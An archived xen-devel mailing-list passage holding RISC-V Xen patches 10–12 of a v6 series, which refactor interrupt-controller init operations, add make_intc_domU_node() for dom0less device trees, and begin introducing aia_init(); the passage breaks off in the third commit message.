List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563231; x=1785168031; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=kj+Ys9sE4vz8rN4cl1XewN5jOlLycBUmGkH75Llh0pg=;
        b=VYsJj5lBqGmBbc4NKSysBqPXhjPRKfZZpp7TMehoxDEO8QB38iKr5kj42tsynBaL08
         pps/ArSaNpJ7g6q0UeWKoFpVNbykFp4BlyJJsYdt2aBzOUqMFy/1sjkFS/BYZcTGiteE
         Z/K4c5gxZBfbnNqx8nooG4SLaUPmjM1mWzLAZZBf9Ve0FtcIkxnGpeDWNf/arMFWNoMQ
         64SkQBzo7u0CxXjppHhaLwJJkjldYf6M/f50NQ9VuOAm8Iedd3jDfXIkmOzSMqx8pB/J
         kT/Rxyhg1dIrcvr2dlU585c/mMZ9cfSMus+HFFym6OxcETXybJC6sS1QUyNGeirvLOwh
         5rNg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563231; x=1785168031;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=kj+Ys9sE4vz8rN4cl1XewN5jOlLycBUmGkH75Llh0pg=;
        b=ZEtECmR1VKuSJ0NUFezOQdov/Y6SY911fRgmY4333E7ZpbyrEgxhoQq3dTR/sdgNTO
         hQ+wwJz3lUi4pTlUdStIlcdAvHAxRw69FVbMvuCbBGmsvxcz33+WW+cd7wLbSut4q603
         vRKo0G6EM7DCeEdQ8Hns9aVMmcpZ+UpO+TxmlnGNDwqyBx+RE7fG8ZCgirK62NnFfpU6
         mONrARHIgfU6eQ6vxtDUU2c9GHx/5FnzQI6Ffb0yJ7coAxT/07YXmKfutVTGtlfwZghs
         ca3ghfh9Dw+Hrzc7++BorRswu5Kz7R+q+mO8G6VJEHvVBUPlZAc1hf2AepljlFcdsZNm
         KlqQ==
X-Gm-Message-State: AOJu0YyT0xiXz1BHaVcmS+hhzmzEktGNMy4Sl4ZUuF4BvSj2sput/75q
	8f7DAjFbAT/SsjPid070M/m6WtXFvB8efnGcb3NEN+vI2sq/WMr53H0kurlR0Q==
X-Gm-Gg: AR+sD13mqes3yplrWciHVZ8d59BdlYDez3g1/SHlGS6J0joDo/sn9IFaV2gzq/oElLm
	i6yuWX2/hZgdCLr716KSVCrS4FVbNNQzOwyQ2XNg4eCnO5wSyn7abyUO3LWzPDG3nMReLvJP9lu
	+wQ6qbILV6PNKrbAAayh0VCGxNgJIhQPh5Nd1OMZE/PjuNaAkq8kw7Kllr0mgNd9qTI+zlNlsnS
	4dGPPw6N7Ewdk3AIr+vvFnCHhIUV2yJCqOD217o2DO3owT7ZGZRRv+uAbPN12P2GJzDtSWJVq1N
	BIooqxCQV0Pd5ik/eeYiuGReR1oLbZyJUoKLASwH5kYNPtc0vLSOc9379l4MuOYKe6pRmASet+F
	rxkY2nWuwYpK5vJTawbJcMqJkCAw4Kby1GacAGuQPwvwAxs3eT5Pqey4wMVKlvHLq/aoAAZAZt3
	lWTO/65WNTnYaFYoVAetVdbv6q6K3pOvteeaZSaohzK1yyM+E=
X-Received: by 2002:a05:6000:4b19:b0:47f:28e2:d4c4 with SMTP id ffacd0b85a97d-47f623052e7mr16737852f8f.2.1784563230946;
        Mon, 20 Jul 2026 09:00:30 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v6 10/23] xen/riscv: introduce init interrupt controller operations
Date: Mon, 20 Jul 2026 17:59:51 +0200
Message-ID: <88db8417c667d027944469a4b8b8adc8e094b3b2.1784559209.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784559209.git.oleksii.kurochko@gmail.com>
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-bad1c0/1784563231-FCE14034-BABDF88B/10/73395122804
X-purgate-type: spam
X-purgate-size: 4030

Introduce intc_hw_init_ops structure to avoid risky mix of init
function and non-init function.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
Changes in v5:
 - Nothin changed. Only rebase.
---
Changes in v4:
 - Use __initconstrel instead of __initconst for aplic_init_ops as both
   initialized fields incur a relocation.
 - Add Acked-by: ... .
---
Changes in v3:
 - Use __initconst instead of __initdata for const intc_hw_init_ops.
 - Embed const struct intc_hw_operations *ops into intc_hw_init_ops so
   register_intc_ops() takes a single pointer argument.
---
Changes in v2:
 - New patch.
---
---
 xen/arch/riscv/aplic.c            |  8 ++++++--
 xen/arch/riscv/include/asm/intc.h | 10 +++++++---
 xen/arch/riscv/intc.c             | 11 ++++++++---
 3 files changed, 21 insertions(+), 8 deletions(-)

diff --git a/xen/arch/riscv/aplic.c b/xen/arch/riscv/aplic.c
index 6a1255c5f403..126d56fb7ea8 100644
--- a/xen/arch/riscv/aplic.c
+++ b/xen/arch/riscv/aplic.c
@@ -306,12 +306,16 @@ static const hw_irq_controller aplic_xen_irq_type = {
 
 static const struct intc_hw_operations aplic_ops = {
     .info                = &aplic_info,
-    .init                = aplic_init,
     .host_irq_type       = &aplic_xen_irq_type,
     .handle_interrupt    = aplic_handle_interrupt,
     .set_irq_type        = aplic_set_irq_type,
 };
 
+static const struct intc_hw_init_ops __initconstrel aplic_init_ops = {
+    .ops                 = &aplic_ops,
+    .init                = aplic_init,
+};
+
 static int cf_check aplic_irq_xlate(const uint32_t *intspec,
                                     unsigned int intsize,
                                     unsigned int *out_hwirq,
@@ -347,7 +351,7 @@ static int __init aplic_preinit(struct dt_device_node *node, const void *dat)
 
     dt_irq_xlate = aplic_irq_xlate;
 
-    register_intc_ops(&aplic_ops);
+    register_intc_ops(&aplic_init_ops);
 
     /* Enable supervisor external interrupt */
     csr_set(CSR_SIE, BIT(IRQ_S_EXT, UL));
diff --git a/xen/arch/riscv/include/asm/intc.h b/xen/arch/riscv/include/asm/intc.h
index 675f703ec97f..d7b34fc15ad1 100644
--- a/xen/arch/riscv/include/asm/intc.h
+++ b/xen/arch/riscv/include/asm/intc.h
@@ -28,8 +28,6 @@ struct intc_info {
 struct intc_hw_operations {
     /* Hold intc hw information */
     const struct intc_info *info;
-    /* Initialize the intc and the boot CPU */
-    int (*init)(void);
 
     /* hw_irq_controller to enable/disable/eoi host irq */
     const struct hw_interrupt_type *host_irq_type;
@@ -43,9 +41,15 @@ struct intc_hw_operations {
     void (*handle_interrupt)(struct cpu_user_regs *regs);
 };
 
+struct intc_hw_init_ops {
+    const struct intc_hw_operations *ops;
+    /* Initialize the intc and the boot CPU */
+    int (*init)(void);
+};
+
 void intc_preinit(void);
 
-void register_intc_ops(const struct intc_hw_operations *ops);
+void register_intc_ops(const struct intc_hw_init_ops *init_ops);
 
 void intc_init(void);
 
diff --git a/xen/arch/riscv/intc.c b/xen/arch/riscv/intc.c
index ea317aea5ad8..3600d23bdb5b 100644
--- a/xen/arch/riscv/intc.c
+++ b/xen/arch/riscv/intc.c
@@ -12,9 +12,12 @@
 
 static const struct intc_hw_operations *__ro_after_init intc_hw_ops;
 
-void __init register_intc_ops(const struct intc_hw_operations *ops)
+static const struct intc_hw_init_ops *__initdata intc_hw_init_ops;
+
+void __init register_intc_ops(const struct intc_hw_init_ops *init_ops)
 {
-    intc_hw_ops = ops;
+    intc_hw_ops = init_ops->ops;
+    intc_hw_init_ops = init_ops;
 }
 
 void __init intc_preinit(void)
@@ -27,7 +30,9 @@ void __init intc_preinit(void)
 
 void __init intc_init(void)
 {
-    if ( intc_hw_ops->init() )
+    ASSERT(intc_hw_init_ops && intc_hw_init_ops->init);
+
+    if ( intc_hw_init_ops->init() )
         panic("Failed to initialize the interrupt controller drivers\n");
 }
 
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:00:36 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:00:36 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366961.1616828 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqQ0-0006wO-NA; Mon, 20 Jul 2026 16:00:36 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366961.1616828; Mon, 20 Jul 2026 16:00:36 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqQ0-0006w5-Ha; Mon, 20 Jul 2026 16:00:36 +0000
Received: by outflank-mailman (input) for mailman id 1366961;
 Mon, 20 Jul 2026 16:00:35 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqPy-0006dT-W6
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:00:35 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqPy-00AdEr-BV
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:00:34 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4615-5cb7-0a2a0a5109dd-0a2a4501a09c-20
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:34 +0200
Received: from [209.85.128.54] (helo=mail-wm1-f54.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4622-5984-0a2a45010019-d1558036cd4c-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:34 +0200
Received: by mail-wm1-f54.google.com with SMTP id
 5b1f17b1804b1-493f75f7172so81100485e9.1
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:00:34 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63edd7d3sm30084673f8f.25.2026.07.20.09.00.31
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:00:31 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563234; x=1785168034; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=5Hr1g/e/xXcDb/D7IngZWRsUaR/73i2SVKxkYoNQW+Y=;
        b=CJIFCxnfi1ntWNYnxSS2QgyXaz0Ve7929NzTBFCAqC+yqMcbCYXXuOxQqIa9ifhQen
         DhDybGmXS6UVbfkcyOS+/eZmL0Uho7I87AD6+h8SIejcY+PozwaZ2/KbW0qkdMEpQE7O
         8UxC2/RBOb5JzyIEiP+RA3l6VgNhX5Iuzo36skUMc3zYPJRQ4ucDJhAl6YsE0/HtYh0O
         l4+wNbEr0UeDZzEeXYs025yN+w0n97E0q01mpgkPeMgJesQCWWmCW5U1rzjr0UMFjoEs
         jP78vhHLqHeitbmg5RaFg81KpWa3A7Es3TDzzAJcitiPeXAgmN+0krzMgN/3rnWu1GA5
         0ptw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563234; x=1785168034;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=5Hr1g/e/xXcDb/D7IngZWRsUaR/73i2SVKxkYoNQW+Y=;
        b=bZAFRky05Rmj/1wFXvbUb2xP+ogkYKwYMCJYnGeIwCtmC4t4c2RM5XTG8K35bVnZM7
         F4aTXMIsVmXrManqL0aCXBcWRtM4At8rw6s9xbzp3SiBvoAdBvgwFlIKtQtgl7h6U3z4
         nZvnYr57JijoFyBd/5KaCWXWpzKMcZAmkDlWzqocxrDl8fnxBhFaV9CGEmZC5R4WjA5L
         8c+0WUX3+imGcGLuUuGoJX0z4uUpbjaUSdKZB+nE72wI9tFem5ZR4sy66qBt5h7szwCg
         z4sXoiVnWYgWjPZJRLxS3xmFU//YDlxxNT2rgbJV6jc/GmaHs/i54W/bCKZGZwgwXRRB
         w4Sg==
X-Gm-Message-State: AOJu0YwHDJeNTRnTvEomhueOV5MLiQ2ah/TWxzBnXl/6euA9W+G1QQ1R
	UN3DcNf+oYbn7fXFolgdn+kIyer+ZpdsXAAXtZcX7+LQ/OH3fEQPqnaPuyN5zw==
X-Gm-Gg: AfdE7clw1vnhMidIDGG/RCBFkJxGRRhWnZbX1vFDQKr27f4s12ypkGsoq0or0tZ/9jo
	Sb6iKm566/tcheSMc38my7Yy3irExUEGxqzSJVu1lpyFGThMQLmdfoweza0WHWd94giqzUoxEK6
	5Uk6YcPuPm/naguZNasA7m72LwkzXIo99cYQnQ4WRh6UG2XvPEEoJGUeXM2NC2DHmIQrduOTjSR
	z+nJDAUN2pWQBd8DtYSUyNzFnO3Q12dFR8slzQey5bnX9lTDoIZSVNEZi8RhoP02CXCi271xP9G
	JOahfsM0pE0jjubpm4h2cKU7n7+PWcmjReOAFklfe6E9BJd0BCbMWsyQThpJlQ0lRNTMkocPpfH
	h6Hjjq+sIrrB45dmoNBeMn5SssUj2KZjNqOiv78eYVd3RaBrXLGip3EhN3VWZW6wL6mUn6/iGtN
	bg2Y8S5Kid82F+a1Z1sjxVbU564MBDR3LoeMN9Ng9RgWdq0BQ=
X-Received: by 2002:a05:600c:e54a:10b0:490:5057:f5f7 with SMTP id 5b1f17b1804b1-4954a3ed516mr114597095e9.11.1784563233430;
        Mon, 20 Jul 2026 09:00:33 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v6 11/23] xen/riscv: implement make_intc_domU_node()
Date: Mon, 20 Jul 2026 17:59:52 +0200
Message-ID: <93a8222f2033567ea207d4c81b509cb32701f9d3.1784559209.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784559209.git.oleksii.kurochko@gmail.com>
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d62444/1784563234-C5146757-AE09C739/10/73395122804
X-purgate-type: spam
X-purgate-size: 3437

Introduce a RISC-V specific function to create an interrupt controller
Device Tree node for DomU domains during dom0less build.

Add make_intc_domU_node() to the dom0less build path and wire it to
a new generic helper, intc_make_domu_dt_node(), which delegates DT
node creation to the active interrupt controller implementation via
vintc_init_ops.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
Changes in v5:
 - Nothing changed. Onlye rebase.
---
Change in v4:
 - Made local variable vintc pointer-to-const.
 - Add Acked-by: Jan Beulich <jbeulich@suse.com>
---
Changes in v3:
 - Use const struct vintc_init_ops *init_ops in struct vintc.
 - Drop redundant intc_hw_ops check in make_intc_domU_node().
 - Drop NULL pointer checks in make_intc_domU_node() as we can't start domU
   without properly created interrupt contoller node.
---
Changes in v2:
 - s/intc_make_domu_dt_node/make_intc_domU_node.
 - introduce separate intc_hw_init_ops structure for init operations.
 - Return -EOPNOTSUPP instead of -ENOSYS.
 - Drop const for kinfo argument as it could be changed by interrupt
   controller node creation code.
 - Refactor make_domu_dt_node().
 - Make make_domu_dt_node part of vintc structure as it looks more logical to be
   there.
---
---
 xen/arch/riscv/include/asm/domain.h |  2 ++
 xen/arch/riscv/include/asm/intc.h   | 10 ++++++++++
 xen/arch/riscv/intc.c               |  8 ++++++++
 3 files changed, 20 insertions(+)

diff --git a/xen/arch/riscv/include/asm/domain.h b/xen/arch/riscv/include/asm/domain.h
index 8ae01a5e4dcc..bd43ed08c22c 100644
--- a/xen/arch/riscv/include/asm/domain.h
+++ b/xen/arch/riscv/include/asm/domain.h
@@ -97,6 +97,8 @@ struct arch_domain {
     struct paging_domain paging;
 
     const unsigned long *isa;
+
+    struct vintc *vintc;
 };
 
 #include <xen/sched.h>
diff --git a/xen/arch/riscv/include/asm/intc.h b/xen/arch/riscv/include/asm/intc.h
index d7b34fc15ad1..a4e678fad90b 100644
--- a/xen/arch/riscv/include/asm/intc.h
+++ b/xen/arch/riscv/include/asm/intc.h
@@ -16,6 +16,7 @@ enum intc_variant {
 
 struct cpu_user_regs;
 struct irq_desc;
+struct kernel_info;
 
 struct intc_info {
     enum intc_variant hw_variant;
@@ -47,6 +48,15 @@ struct intc_hw_init_ops {
     int (*init)(void);
 };
 
+struct vintc_init_ops {
+    /* Create interrupt controller node for domain */
+    int (*make_domu_dt_node)(struct kernel_info *kinfo);
+};
+
+struct vintc {
+    const struct vintc_init_ops *init_ops;
+};
+
 void intc_preinit(void);
 
 void register_intc_ops(const struct intc_hw_init_ops *init_ops);
diff --git a/xen/arch/riscv/intc.c b/xen/arch/riscv/intc.c
index 3600d23bdb5b..e63da5e22efc 100644
--- a/xen/arch/riscv/intc.c
+++ b/xen/arch/riscv/intc.c
@@ -3,6 +3,7 @@
 #include <xen/acpi.h>
 #include <xen/bug.h>
 #include <xen/device_tree.h>
+#include <xen/fdt-kernel.h>
 #include <xen/init.h>
 #include <xen/irq.h>
 #include <xen/lib.h>
@@ -72,3 +73,10 @@ void intc_route_irq_to_xen(struct irq_desc *desc, unsigned int priority)
     intc_set_irq_type(desc, desc->arch.type);
     intc_set_irq_priority(desc, priority);
 }
+
+int __init make_intc_domU_node(struct kernel_info *kinfo)
+{
+    const struct vintc *vintc = kinfo->bd.d->arch.vintc;
+
+    return vintc->init_ops->make_domu_dt_node(kinfo);
+}
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:00:38 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:00:38 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366963.1616836 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqQ2-0007Fz-Im; Mon, 20 Jul 2026 16:00:38 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366963.1616836; Mon, 20 Jul 2026 16:00:38 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqQ2-0007F6-6g; Mon, 20 Jul 2026 16:00:38 +0000
Received: by outflank-mailman (input) for mailman id 1366963;
 Mon, 20 Jul 2026 16:00:37 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqQ0-0006ws-Sw
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:00:37 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqQ0-00AdEr-9U
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:00:36 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e461a-5cb7-0a2a0a5109dd-0a2a4505a692-20
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:36 +0200
Received: from [209.85.221.51] (helo=mail-wr1-f51.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4624-4cb1-0a2a45050019-d155dd33f1db-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:36 +0200
Received: by mail-wr1-f51.google.com with SMTP id
 ffacd0b85a97d-47f7872abb6so520820f8f.3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:00:36 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63edd7d3sm30084673f8f.25.2026.07.20.09.00.33
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:00:34 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563236; x=1785168036; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=bw1hrTkQ2ATB1SLL0iu4tNbNK40JrBmaLHXXypeFp0c=;
        b=s2xuyZgC9l4bMLrmjMxRnRscz/ReOB0pOL+tgBnQ6DzQgcbkKFAi5Wdxhmc356KS04
         1woABZG+5kPhNmCbX66LmUAxtu0hpo3xwBflALv6GwSGmLShUJFsUvhtthcYy8tSZFU4
         NrdpOl5937cQ2fYkyZ2m7sDOrDlT+B6fVp8Npd9bR021OdQl56ejBji5xwz08HqIc9rN
         vUDZ0KArD4BtjjJJaCAv96nKFI+Knnoz/F2ygkK5ZiyuuXYdlV2Shrz1QTb4c9/M0uEW
         O2g2Ls5uUk61ddnSGr2rHV7ckKjFBYpSUk4VfxGcCDAg4Gm2TlVOViGuaVhbrF86kzSt
         l/qw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563236; x=1785168036;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=bw1hrTkQ2ATB1SLL0iu4tNbNK40JrBmaLHXXypeFp0c=;
        b=MLVYJgcpGDq77fGc+fnSpcoz8BqsZQuNpwlvv4zwQ0yJkwVgqnbFP82QwdeQbcJaXJ
         OCKtPufp4pOipm5C4rz0Yi2kzei41nJtlJgk9FLFnJn5nd4Ccflk84hPX8LajyC2EF/C
         NLmZE1xpH0HfP19EmRl4Hf4fSY3ckj8rzVYuqSdgbKmaVquziiE35ErSLaz1noGnG7/D
         tNnbjhl5AILwfmK6VWcw7lI6jjHv7VwOiwlVt6oNBlLgYdt/rQdxit+isLmqJLRk1nUM
         RGgUbM42u0RNyw+TidrQsGeiQOG2fv5QKEYrOGpOSKgTb80+Tb7mC3On5BUDiTQm1cCD
         x1Dw==
X-Gm-Message-State: AOJu0YyCqsR43KrFa/RVQepPDBjFycZCpjJOAufe7lHqfeB875gHAGQ6
	95CvK2Fr5pkjokNXh6WmJLfrK6wMCSVnTV5rj7Ie1lbfn0Nxte4fq5bWMAcYgg==
X-Gm-Gg: AR+sD12rDqJNcAzxkR6RMog70lWQqbq3IYWaeMSNIeiSr7VNUWJO8FYzqyDBjTJQ408
	sWTlrxCA385MwzIHnrfourBi6mAIrz9KY+SHRqIDDRkbVEPGM1NY+onJXsm27XV/xyb5SkcS9w+
	x8Yj5KXQxp1bzkuEwpLzP2cx6R+2m7v6zaaFWh3Mg1iJqZpmOQzm81yLLrm0LCGyE7bodf5LFuT
	FPQCuYkXr/5rXVZU1cAU0W8c3vSGxAdwY+o3+WMg7kaXw0Ior8Xr2cGC8n3fYzuEYLMu1Dh+BYh
	Vc3YmPShnZaYUHvwFjmBZg80k1Lr+OEejMQ8h/72Aq5jUjJPziD3Azwwv+yolpbCwHUXIo7F+xc
	pdRhDdJigvQHsLAkDC2ur1pRRzDgIz0LtObxpE1axFIe7lPbMsw66zKsznJG+a+IAu2YaK4eXX6
	R/KwuHzu0Pa60OhdL+aMakSuEmBbo78cmtaCpbVCXGGA7P86QKmpRfwzAslw==
X-Received: by 2002:adf:e190:0:b0:47f:6981:a043 with SMTP id ffacd0b85a97d-47f6981a0f3mr11625636f8f.26.1784563235540;
        Mon, 20 Jul 2026 09:00:35 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v6 12/23] xen/riscv: introduce aia_init() and aia_usable()
Date: Mon, 20 Jul 2026 17:59:53 +0200
Message-ID: <5d8739f32ae69ee845559ae1a03442e1a583c39d.1784559209.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784559209.git.oleksii.kurochko@gmail.com>
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c201ff/1784563236-730B22A1-55F362FC/10/73395122804
X-purgate-type: spam
X-purgate-size: 3183

aia_init() is going to contain all the logic related to AIA initialization.

At the moment, it only checks whether the SSAIA extension is available,
and if so, sets is_aia_usable (which  indicates more than just the
